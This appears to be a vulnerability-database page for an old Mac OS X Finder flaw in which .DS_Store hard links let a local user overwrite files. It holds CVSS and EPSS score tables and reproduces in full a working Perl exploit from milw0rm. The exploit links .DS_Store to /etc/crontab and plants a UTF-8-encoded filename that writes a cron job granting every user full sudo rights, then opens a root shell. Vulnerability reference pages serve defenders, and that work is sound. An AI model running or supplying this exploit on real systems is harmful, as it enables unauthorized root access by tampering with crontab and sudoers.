CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.26%
2025-03-30
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
#
# [OSX Finder] DS_Store arbitrary file overwrite exploit. (root version)
#
# vade79 -> v9@fakehalo.us (fakehalo/realhalo)
#
# this will create a directory called "xfinder" in your home directory,
# once the root user has modified that directory using Finder in almost any
# way(such as copying a file out of it, etc) it will write to the .DS_Store
# file in that directory. the data written to the .DS_Store file will
# consist of the filenames/subdirectories making up the directory and the
# attributes of the directory.
#
# this exploit works by linking the .DS_Store file to /etc/crontab, and
# creating a special unicode(utf8 encoded) file in the directory. the file
# created in unicode is equal to(in ASCII):
# '\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n'
#
# this file will display as a japanese-like series of characters and
# is (part of) what is written to the .DS_Store file, which allows for
# the privilege escalation. once this line has been written to
# /etc/crontab(along with other .DS_Store data), crontab will overwrite
# /etc/sudoers with "ALL ALL=(ALL) ALL" and you can then sudo to root.
#
# note: this is done through crontab->sudo because sudo will complain
# of the .DS_Store garbage data in the /etc/sudoers file and exit,
# whereas crontab will ignore it.
#
# (sorry for the squished/ugly script, just a precaution for
# wordwrapping)
use encoding utf8;
sub pexit{print("[!] @_.\n");exit(1);}
$testdir="$ENV{HOME}/xfinder";
print("[OSX Finder] DS_Store arbitrary file overwrite exploit.\n\n");
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
mkdir($testdir)||pexit("Could make the directory \"$testdir\", " .
"make sure it doesn't already exist");
chdir($testdir)||pexit("Could change the directory to \"$testdir\"");
# = "\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n"
open(TOUCH,">" . Encode::encode_utf8(
"\x{0a0a}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{726f}\x{6f74}" .
"\x{2065}\x{6368}\x{6f20}\x{2241}\x{4c4c}\x{2041}\x{4c4c}\x{3d28}" .
"\x{414c}\x{4c29}\x{2041}\x{4c4c}\x{223e}\x{2f65}\x{7463}\x{2f73}" .
"\x{7564}\x{6f65}\x{7273}\x{0a0a}"))||pexit("Could not create " .
"unicode/utf8 encoded filename");
close(TOUCH);
link("/etc/crontab",".DS_Store")||pexit("Could not link .DS_Store " .
"to /etc/crontab");
print("[+] Waiting for root user to modify \"$testdir\" with " .
"Finder...\n");
print("[?] (CTRL-C if desired, this script does not need to be " .
"running to work)\n");
@ast=@st=stat("/etc/crontab");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
sleep(1);
@ast=stat("/etc/crontab");
}
print("[+] /etc/crontab has been modified.\n");
print("[+] Waiting for crontab to change /etc/sudoers...\n");
@ast=@st=stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
sleep(1);
@ast=stat("/etc/sudoers");
}
print("[+] /etc/sudoers has been modified.\n");
print("[+] Attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);
# milw0rm.com [2005-02-07]